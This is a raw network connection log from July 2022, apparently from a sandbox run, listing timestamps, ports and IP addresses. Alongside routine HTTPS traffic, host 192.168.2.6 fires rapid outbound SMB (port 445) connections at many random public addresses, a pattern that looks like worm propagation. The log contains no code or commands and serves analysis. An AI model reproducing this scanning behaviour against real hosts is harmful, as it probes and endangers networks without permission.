Jul 20, 2022 06:06:27.617790937 CEST	443	50244	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.620338917 CEST	50245	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.620367050 CEST	443	50245	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.675838947 CEST	443	50244	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.675925016 CEST	50244	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.676742077 CEST	443	50245	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.676795006 CEST	443	50244	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.676856041 CEST	50245	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.676908016 CEST	50244	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.678199053 CEST	443	50245	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.678294897 CEST	50245	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.691698074 CEST	50245	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.691723108 CEST	443	50245	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.693218946 CEST	443	50245	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.693294048 CEST	50245	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.695215940 CEST	50244	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.695229053 CEST	443	50244	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.695548058 CEST	443	50244	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.695631027 CEST	50244	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.705961943 CEST	50245	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.706052065 CEST	443	50245	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.706581116 CEST	50244	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.706655025 CEST	443	50244	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.778192043 CEST	443	50244	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.778225899 CEST	443	50244	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.778278112 CEST	50244	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.778295040 CEST	443	50244	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.778318882 CEST	50244	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.778352022 CEST	50244	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.778357029 CEST	443	50244	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.778371096 CEST	443	50244	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.778404951 CEST	50244	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.778441906 CEST	50244	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.783312082 CEST	443	50245	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.783412933 CEST	443	50245	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.783463955 CEST	50245	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.783524036 CEST	50245	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.850640059 CEST	50246	445	192.168.2.6	42.228.176.226
Jul 20, 2022 06:06:27.879015923 CEST	50244	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.879036903 CEST	443	50244	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:27.926632881 CEST	50245	443	192.168.2.6	204.79.197.200
Jul 20, 2022 06:06:27.926659107 CEST	443	50245	204.79.197.200	192.168.2.6
Jul 20, 2022 06:06:28.233640909 CEST	50247	445	192.168.2.6	164.101.158.151
Jul 20, 2022 06:06:28.234440088 CEST	50248	445	192.168.2.6	120.105.10.121
Jul 20, 2022 06:06:28.235183954 CEST	50249	445	192.168.2.6	126.14.248.170
Jul 20, 2022 06:06:28.237674952 CEST	50250	445	192.168.2.6	104.244.7.166
Jul 20, 2022 06:06:28.238709927 CEST	50251	445	192.168.2.6	66.13.81.23
Jul 20, 2022 06:06:28.239461899 CEST	50252	445	192.168.2.6	133.43.190.97
Jul 20, 2022 06:06:28.240233898 CEST	50253	445	192.168.2.6	213.153.247.152
Jul 20, 2022 06:06:28.240993023 CEST	50254	445	192.168.2.6	89.8.81.99
Jul 20, 2022 06:06:28.241751909 CEST	50255	445	192.168.2.6	121.132.205.182
Jul 20, 2022 06:06:28.246237040 CEST	50256	445	192.168.2.6	80.111.135.102
Jul 20, 2022 06:06:28.326489925 CEST	50257	445	192.168.2.6	94.121.114.74
Jul 20, 2022 06:06:28.330513000 CEST	50258	445	192.168.2.6	177.9.76.36
Jul 20, 2022 06:06:28.330636978 CEST	50259	445	192.168.2.6	142.212.189.64
Jul 20, 2022 06:06:28.339624882 CEST	50260	445	192.168.2.6	32.209.143.133
Jul 20, 2022 06:06:28.339792967 CEST	50261	445	192.168.2.6	95.178.121.63
Jul 20, 2022 06:06:28.503465891 CEST	445	50197	172.193.169.230	192.168.2.6
Jul 20, 2022 06:06:28.820974112 CEST	50262	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:28.821021080 CEST	443	50262	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:28.821119070 CEST	50262	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:28.832484961 CEST	50263	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:28.832525969 CEST	443	50263	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:28.832685947 CEST	50263	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:28.892990112 CEST	50262	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:28.893028021 CEST	443	50262	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:28.893510103 CEST	50263	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:28.893526077 CEST	443	50263	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:28.973376036 CEST	50264	445	192.168.2.6	102.59.58.68
Jul 20, 2022 06:06:28.985776901 CEST	443	50263	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:28.985884905 CEST	50263	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:28.986819029 CEST	443	50262	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:28.986920118 CEST	50262	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.015697002 CEST	50262	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.015733957 CEST	443	50262	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.016222000 CEST	443	50262	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.016293049 CEST	50262	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.020123959 CEST	50263	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.020147085 CEST	443	50263	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.020534039 CEST	443	50263	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.020597935 CEST	50263	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.022351027 CEST	50263	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.022419930 CEST	443	50263	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.022593975 CEST	50262	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.022705078 CEST	443	50262	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.154650927 CEST	443	50263	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.154685974 CEST	443	50263	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.154763937 CEST	443	50263	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.154810905 CEST	50263	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.154850006 CEST	50263	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.155174971 CEST	443	50262	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.155198097 CEST	443	50262	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.155268908 CEST	50262	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.155278921 CEST	443	50262	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.155313969 CEST	50262	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.155360937 CEST	50262	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.162183046 CEST	50262	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.162209988 CEST	443	50262	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.170713902 CEST	50263	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:29.170737982 CEST	443	50263	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:29.356496096 CEST	50265	445	192.168.2.6	155.77.195.1
Jul 20, 2022 06:06:29.357523918 CEST	50266	445	192.168.2.6	28.7.229.124
Jul 20, 2022 06:06:29.358385086 CEST	50267	445	192.168.2.6	144.168.135.247
Jul 20, 2022 06:06:29.359122038 CEST	50268	445	192.168.2.6	152.85.211.18
Jul 20, 2022 06:06:29.359849930 CEST	50269	445	192.168.2.6	178.130.252.49
Jul 20, 2022 06:06:29.360543013 CEST	50270	445	192.168.2.6	98.246.219.229
Jul 20, 2022 06:06:29.361255884 CEST	50271	445	192.168.2.6	219.173.52.55
Jul 20, 2022 06:06:29.361913919 CEST	50272	445	192.168.2.6	53.225.206.153
Jul 20, 2022 06:06:29.362605095 CEST	50273	445	192.168.2.6	81.131.98.158
Jul 20, 2022 06:06:29.380381107 CEST	50274	445	192.168.2.6	18.154.201.0
Jul 20, 2022 06:06:29.449875116 CEST	50275	445	192.168.2.6	150.254.182.216
Jul 20, 2022 06:06:29.449888945 CEST	50276	445	192.168.2.6	87.115.208.213
Jul 20, 2022 06:06:29.449995041 CEST	50277	445	192.168.2.6	83.220.128.96
Jul 20, 2022 06:06:29.450006962 CEST	50278	445	192.168.2.6	145.167.129.101
Jul 20, 2022 06:06:29.450114012 CEST	50279	445	192.168.2.6	17.54.153.161
Jul 20, 2022 06:06:29.528978109 CEST	445	50267	144.168.135.247	192.168.2.6
Jul 20, 2022 06:06:29.858659029 CEST	50280	445	192.168.2.6	26.87.90.210
Jul 20, 2022 06:06:30.041480064 CEST	50267	445	192.168.2.6	144.168.135.247
Jul 20, 2022 06:06:30.089618921 CEST	50281	445	192.168.2.6	25.64.76.233
Jul 20, 2022 06:06:30.212045908 CEST	445	50267	144.168.135.247	192.168.2.6
Jul 20, 2022 06:06:30.479893923 CEST	50282	445	192.168.2.6	135.226.157.210
Jul 20, 2022 06:06:30.480639935 CEST	50283	445	192.168.2.6	181.157.226.252
Jul 20, 2022 06:06:30.481256008 CEST	50284	445	192.168.2.6	164.155.119.46
Jul 20, 2022 06:06:30.481725931 CEST	50285	445	192.168.2.6	149.74.42.6
Jul 20, 2022 06:06:30.482312918 CEST	50286	445	192.168.2.6	34.164.223.56
Jul 20, 2022 06:06:30.482857943 CEST	50287	445	192.168.2.6	21.236.72.222
Jul 20, 2022 06:06:30.483378887 CEST	50288	445	192.168.2.6	221.240.174.79
Jul 20, 2022 06:06:30.483881950 CEST	50289	445	192.168.2.6	72.4.182.115
Jul 20, 2022 06:06:30.484375000 CEST	50290	445	192.168.2.6	177.157.94.118
Jul 20, 2022 06:06:30.484884977 CEST	50291	445	192.168.2.6	53.121.41.151
Jul 20, 2022 06:06:30.575208902 CEST	50293	445	192.168.2.6	56.181.93.93
Jul 20, 2022 06:06:30.575246096 CEST	50292	445	192.168.2.6	68.153.137.53
Jul 20, 2022 06:06:30.575499058 CEST	50296	445	192.168.2.6	53.19.179.133
Jul 20, 2022 06:06:30.575532913 CEST	50295	445	192.168.2.6	16.39.117.99
Jul 20, 2022 06:06:30.660278082 CEST	50297	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:30.660319090 CEST	443	50297	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:30.660417080 CEST	50297	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:30.665463924 CEST	50297	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:30.665487051 CEST	443	50297	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:30.672409058 CEST	445	50284	164.155.119.46	192.168.2.6
Jul 20, 2022 06:06:30.765043020 CEST	443	50297	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:30.767833948 CEST	50297	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:30.768249989 CEST	50297	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:30.768260002 CEST	443	50297	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:30.768682957 CEST	443	50297	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:30.774064064 CEST	50297	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:30.774116039 CEST	50297	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:30.774137020 CEST	443	50297	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:30.774298906 CEST	50297	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:30.803817034 CEST	443	50297	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:30.803965092 CEST	443	50297	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:30.804389954 CEST	50297	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:30.804410934 CEST	443	50297	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:30.804420948 CEST	50297	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:30.804426908 CEST	443	50297	20.199.120.151	192.168.2.6
Jul 20, 2022 06:06:30.804439068 CEST	50297	443	192.168.2.6	20.199.120.151
Jul 20, 2022 06:06:30.964724064 CEST	50298	445	192.168.2.6	32.41.103.4
Jul 20, 2022 06:06:31.214631081 CEST	50299	445	192.168.2.6	61.70.154.37
Jul 20, 2022 06:06:31.260304928 CEST	50284	445	192.168.2.6	164.155.119.46
Jul 20, 2022 06:06:31.293737888 CEST	49705	443	192.168.2.6	23.201.249.71
Jul 20, 2022 06:06:31.312582970 CEST	443	49705	23.201.249.71	192.168.2.6
Jul 20, 2022 06:06:31.312613964 CEST	443	49705	23.201.249.71	192.168.2.6
Jul 20, 2022 06:06:31.312800884 CEST	49705	443	192.168.2.6	23.201.249.71
Jul 20, 2022 06:06:31.317846060 CEST	49705	443	192.168.2.6	23.201.249.71
Jul 20, 2022 06:06:31.451296091 CEST	445	50284	164.155.119.46	192.168.2.6
Jul 20, 2022 06:06:31.606807947 CEST	50300	445	192.168.2.6	183.72.160.243
Jul 20, 2022 06:06:31.607693911 CEST	50301	445	192.168.2.6	70.140.222.94
Jul 20, 2022 06:06:31.623997927 CEST	50302	445	192.168.2.6	76.141.210.96
Jul 20, 2022 06:06:31.624897003 CEST	50303	445	192.168.2.6	160.210.73.108
Jul 20, 2022 06:06:31.626168966 CEST	50304	445	192.168.2.6	117.54.166.246
Jul 20, 2022 06:06:31.626852036 CEST	50305	445	192.168.2.6	35.72.247.36
Jul 20, 2022 06:06:31.627614975 CEST	50306	445	192.168.2.6	82.65.178.160
Jul 20, 2022 06:06:31.628386021 CEST	50307	445	192.168.2.6	215.50.194.76
Jul 20, 2022 06:06:31.629157066 CEST	50308	445	192.168.2.6	62.157.253.196
Jul 20, 2022 06:06:31.629914045 CEST	50309	445	192.168.2.6	164.174.68.226
Jul 20, 2022 06:06:31.714915037 CEST	50310	445	192.168.2.6	55.233.4.229
Jul 20, 2022 06:06:31.715460062 CEST	50311	445	192.168.2.6	222.198.231.158
Jul 20, 2022 06:06:31.715960026 CEST	50312	445	192.168.2.6	82.188.196.138
Jul 20, 2022 06:06:31.716468096 CEST	50313	445	192.168.2.6	138.41.150.250
Jul 20, 2022 06:06:31.716972113 CEST	50314	445	192.168.2.6	129.12.195.116
Jul 20, 2022 06:06:31.875022888 CEST	50315	445	192.168.2.6	209.60.93.174
Jul 20, 2022 06:06:32.106297016 CEST	50316	445	192.168.2.6	22.111.24.34
Jul 20, 2022 06:06:32.325076103 CEST	50317	445	192.168.2.6	37.162.28.95
Jul 20, 2022 06:06:32.734972954 CEST	50318	445	192.168.2.6	13.166.17.249
Jul 20, 2022 06:06:32.735697031 CEST	50319	445	192.168.2.6	161.115.7.115
Jul 20, 2022 06:06:32.774962902 CEST	50320	445	192.168.2.6	30.56.53.103
Jul 20, 2022 06:06:32.776582003 CEST	50321	445	192.168.2.6	215.88.228.253
Jul 20, 2022 06:06:32.776909113 CEST	50322	445	192.168.2.6	56.249.6.99
Jul 20, 2022 06:06:32.777043104 CEST	50323	445	192.168.2.6	106.80.113.62
Jul 20, 2022 06:06:32.777174950 CEST	50324	445	192.168.2.6	63.59.165.223
Jul 20, 2022 06:06:32.777242899 CEST	50325	445	192.168.2.6	51.126.83.139
Jul 20, 2022 06:06:32.777329922 CEST	50326	445	192.168.2.6	201.67.198.191
Jul 20, 2022 06:06:32.777426958 CEST	50327	445	192.168.2.6	121.125.84.70
Jul 20, 2022 06:06:32.839565039 CEST	50328	445	192.168.2.6	174.216.59.42
Jul 20, 2022 06:06:32.842405081 CEST	50329	445	192.168.2.6	205.1.98.209
Jul 20, 2022 06:06:32.843238115 CEST	50330	445	192.168.2.6	123.137.200.65
Jul 20, 2022 06:06:32.843951941 CEST	50331	445	192.168.2.6	29.91.214.219
Jul 20, 2022 06:06:32.844619989 CEST	50332	445	192.168.2.6	139.73.145.98
Jul 20, 2022 06:06:32.997159004 CEST	50333	445	192.168.2.6	133.133.185.173
Jul 20, 2022 06:06:33.230283022 CEST	50334	445	192.168.2.6	207.112.186.192
Jul 20, 2022 06:06:33.385369062 CEST	50335	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:06:33.385428905 CEST	443	50335	20.199.120.85	192.168.2.6
Jul 20, 2022 06:06:33.385554075 CEST	50335	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:06:33.386183023 CEST	50335	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:06:33.386209011 CEST	443	50335	20.199.120.85	192.168.2.6
Jul 20, 2022 06:06:33.448637009 CEST	50336	445	192.168.2.6	193.89.42.239
Jul 20, 2022 06:06:33.480305910 CEST	443	50335	20.199.120.85	192.168.2.6
Jul 20, 2022 06:06:33.480524063 CEST	50335	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:06:33.482944965 CEST	50335	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:06:33.482968092 CEST	443	50335	20.199.120.85	192.168.2.6
Jul 20, 2022 06:06:33.483421087 CEST	443	50335	20.199.120.85	192.168.2.6
Jul 20, 2022 06:06:33.484503031 CEST	50335	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:06:33.484534979 CEST	50335	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:06:33.484548092 CEST	443	50335	20.199.120.85	192.168.2.6
Jul 20, 2022 06:06:33.484818935 CEST	50335	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:06:33.512156963 CEST	443	50335	20.199.120.85	192.168.2.6
Jul 20, 2022 06:06:33.512269020 CEST	443	50335	20.199.120.85	192.168.2.6
Jul 20, 2022 06:06:33.512381077 CEST	50335	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:06:33.513921022 CEST	50335	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:06:33.513963938 CEST	443	50335	20.199.120.85	192.168.2.6
Jul 20, 2022 06:06:33.855509996 CEST	50337	445	192.168.2.6	98.59.188.197
Jul 20, 2022 06:06:33.855592966 CEST	50338	445	192.168.2.6	184.108.65.126
Jul 20, 2022 06:06:33.887075901 CEST	50340	445	192.168.2.6	171.7.81.168
Jul 20, 2022 06:06:33.891856909 CEST	50341	445	192.168.2.6	179.153.194.223
Jul 20, 2022 06:06:33.949075937 CEST	50342	445	192.168.2.6	217.65.128.140
Jul 20, 2022 06:06:33.949896097 CEST	50343	445	192.168.2.6	29.3.103.3
Jul 20, 2022 06:06:33.951070070 CEST	50344	445	192.168.2.6	78.151.112.215
Jul 20, 2022 06:06:33.951850891 CEST	50345	445	192.168.2.6	8.40.89.129
Jul 20, 2022 06:06:33.952677965 CEST	50346	445	192.168.2.6	2.251.164.225
Jul 20, 2022 06:06:33.953427076 CEST	50347	445	192.168.2.6	190.102.176.74
Jul 20, 2022 06:06:33.954150915 CEST	50348	445	192.168.2.6	199.27.185.145
Jul 20, 2022 06:06:33.964435101 CEST	50349	445	192.168.2.6	41.154.108.48
Jul 20, 2022 06:06:33.965214968 CEST	50350	445	192.168.2.6	195.7.68.26
Jul 20, 2022 06:06:33.966392040 CEST	50351	445	192.168.2.6	125.189.53.96
Jul 20, 2022 06:06:33.967123032 CEST	50352	445	192.168.2.6	136.28.53.89
Jul 20, 2022 06:06:33.984941959 CEST	50353	445	192.168.2.6	134.76.64.161
Jul 20, 2022 06:06:34.121177912 CEST	50354	445	192.168.2.6	155.5.178.237
Jul 20, 2022 06:06:34.355806112 CEST	50355	445	192.168.2.6	93.117.6.63
Jul 20, 2022 06:06:34.559165955 CEST	50356	445	192.168.2.6	133.140.133.170
Jul 20, 2022 06:06:34.992628098 CEST	50357	445	192.168.2.6	77.50.136.2
Jul 20, 2022 06:06:34.993277073 CEST	50358	445	192.168.2.6	33.15.215.224
Jul 20, 2022 06:06:35.011382103 CEST	50359	445	192.168.2.6	2.203.149.25
Jul 20, 2022 06:06:35.011738062 CEST	50360	445	192.168.2.6	65.207.56.107
Jul 20, 2022 06:06:35.079771042 CEST	50361	445	192.168.2.6	51.137.162.90
Jul 20, 2022 06:06:35.080319881 CEST	50362	445	192.168.2.6	109.170.65.233
Jul 20, 2022 06:06:35.098666906 CEST	50363	445	192.168.2.6	164.174.240.199
Jul 20, 2022 06:06:35.099611044 CEST	50364	445	192.168.2.6	30.180.219.227
Jul 20, 2022 06:06:35.099751949 CEST	50365	445	192.168.2.6	24.92.243.130
Jul 20, 2022 06:06:35.100070953 CEST	50366	445	192.168.2.6	31.193.235.237
Jul 20, 2022 06:06:35.100265026 CEST	50367	445	192.168.2.6	105.12.99.59
Jul 20, 2022 06:06:35.100508928 CEST	50368	445	192.168.2.6	7.188.157.1
Jul 20, 2022 06:06:35.100614071 CEST	50369	445	192.168.2.6	11.249.202.158
Jul 20, 2022 06:06:35.100760937 CEST	50370	445	192.168.2.6	171.97.198.242
Jul 20, 2022 06:06:35.100855112 CEST	50371	445	192.168.2.6	138.135.143.223
Jul 20, 2022 06:06:35.124304056 CEST	50372	445	192.168.2.6	105.11.209.229
Jul 20, 2022 06:06:35.230392933 CEST	50373	445	192.168.2.6	27.70.197.123
Jul 20, 2022 06:06:35.262891054 CEST	445	50365	24.92.243.130	192.168.2.6
Jul 20, 2022 06:06:35.464772940 CEST	50374	445	192.168.2.6	8.206.183.231
Jul 20, 2022 06:06:35.683929920 CEST	50375	445	192.168.2.6	180.249.91.213
Jul 20, 2022 06:06:35.814605951 CEST	50376	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:35.814632893 CEST	443	50376	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:35.814698935 CEST	50376	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:35.817087889 CEST	50376	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:35.817101955 CEST	443	50376	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:35.838857889 CEST	50365	445	192.168.2.6	24.92.243.130
Jul 20, 2022 06:06:35.906693935 CEST	443	50376	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:35.906924009 CEST	50376	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:35.969521999 CEST	50377	445	192.168.2.6	134.63.97.36
Jul 20, 2022 06:06:36.001172066 CEST	445	50365	24.92.243.130	192.168.2.6
Jul 20, 2022 06:06:36.090284109 CEST	50378	445	192.168.2.6	20.228.202.246
Jul 20, 2022 06:06:36.090984106 CEST	50379	445	192.168.2.6	216.237.100.188
Jul 20, 2022 06:06:36.102005005 CEST	50376	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:36.102030039 CEST	443	50376	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:36.183650970 CEST	50381	445	192.168.2.6	144.78.52.8
Jul 20, 2022 06:06:36.183815956 CEST	50380	445	192.168.2.6	96.213.200.237
Jul 20, 2022 06:06:36.208744049 CEST	50382	445	192.168.2.6	42.206.221.167
Jul 20, 2022 06:06:36.209022999 CEST	50383	445	192.168.2.6	133.114.243.82
Jul 20, 2022 06:06:36.217720985 CEST	50384	445	192.168.2.6	85.193.33.95
Jul 20, 2022 06:06:36.217931032 CEST	50385	445	192.168.2.6	8.1.18.61
Jul 20, 2022 06:06:36.217946053 CEST	50386	445	192.168.2.6	2.178.168.217
Jul 20, 2022 06:06:36.218116999 CEST	50387	445	192.168.2.6	171.135.107.99
Jul 20, 2022 06:06:36.218182087 CEST	50388	445	192.168.2.6	37.15.28.216
Jul 20, 2022 06:06:36.218214035 CEST	50389	445	192.168.2.6	203.30.77.212
Jul 20, 2022 06:06:36.218291998 CEST	50390	445	192.168.2.6	32.170.9.114
Jul 20, 2022 06:06:36.218316078 CEST	50391	445	192.168.2.6	22.175.91.17
Jul 20, 2022 06:06:36.218414068 CEST	50392	445	192.168.2.6	37.252.16.160
Jul 20, 2022 06:06:36.245966911 CEST	50393	445	192.168.2.6	190.48.157.237
Jul 20, 2022 06:06:36.339764118 CEST	50394	445	192.168.2.6	109.199.198.150
Jul 20, 2022 06:06:36.403306007 CEST	50376	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:36.403342009 CEST	443	50376	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:36.525262117 CEST	443	50376	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:36.525298119 CEST	443	50376	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:36.525367022 CEST	50376	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:36.525367975 CEST	443	50376	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:36.525410891 CEST	50376	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:36.525480986 CEST	50376	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:36.574306011 CEST	50395	445	192.168.2.6	158.179.84.170
Jul 20, 2022 06:06:36.631058931 CEST	50376	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:36.631097078 CEST	443	50376	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:36.808743000 CEST	50396	445	192.168.2.6	40.120.249.95
Jul 20, 2022 06:06:37.089638948 CEST	50397	445	192.168.2.6	142.72.94.58
Jul 20, 2022 06:06:37.163762093 CEST	50398	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:37.163804054 CEST	443	50398	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:37.165319920 CEST	50398	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:37.176367998 CEST	50398	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:37.176394939 CEST	443	50398	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:37.215506077 CEST	50399	445	192.168.2.6	14.234.73.212
Jul 20, 2022 06:06:37.215537071 CEST	50400	445	192.168.2.6	146.214.38.135
Jul 20, 2022 06:06:37.263808966 CEST	443	50398	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:37.263936043 CEST	50398	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:37.308676004 CEST	50401	445	192.168.2.6	30.135.99.167
Jul 20, 2022 06:06:37.319966078 CEST	50402	445	192.168.2.6	215.44.88.90
Jul 20, 2022 06:06:37.324085951 CEST	50403	445	192.168.2.6	124.28.177.193
Jul 20, 2022 06:06:37.324763060 CEST	50404	445	192.168.2.6	207.242.130.78
Jul 20, 2022 06:06:37.325875044 CEST	50398	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:37.325895071 CEST	443	50398	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:37.328221083 CEST	50398	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:37.328243971 CEST	443	50398	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:37.341778040 CEST	50405	445	192.168.2.6	92.231.204.169
Jul 20, 2022 06:06:37.343393087 CEST	50406	445	192.168.2.6	194.234.47.35
Jul 20, 2022 06:06:37.343609095 CEST	50408	445	192.168.2.6	112.184.42.120
Jul 20, 2022 06:06:37.343625069 CEST	50407	445	192.168.2.6	165.135.103.79
Jul 20, 2022 06:06:37.343688011 CEST	50409	445	192.168.2.6	135.218.23.86
Jul 20, 2022 06:06:37.343776941 CEST	50410	445	192.168.2.6	45.224.95.233
Jul 20, 2022 06:06:37.343854904 CEST	50411	445	192.168.2.6	35.29.184.41
Jul 20, 2022 06:06:37.343914986 CEST	50412	445	192.168.2.6	40.118.102.238
Jul 20, 2022 06:06:37.343991041 CEST	50413	445	192.168.2.6	59.139.159.151
Jul 20, 2022 06:06:37.371063948 CEST	50414	445	192.168.2.6	90.3.111.173
Jul 20, 2022 06:06:37.464550018 CEST	50415	445	192.168.2.6	100.64.81.63
Jul 20, 2022 06:06:37.520200968 CEST	443	50398	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:37.520251036 CEST	443	50398	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:37.520278931 CEST	443	50398	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:37.520323992 CEST	50398	443	192.168.2.6	20.31.108.18
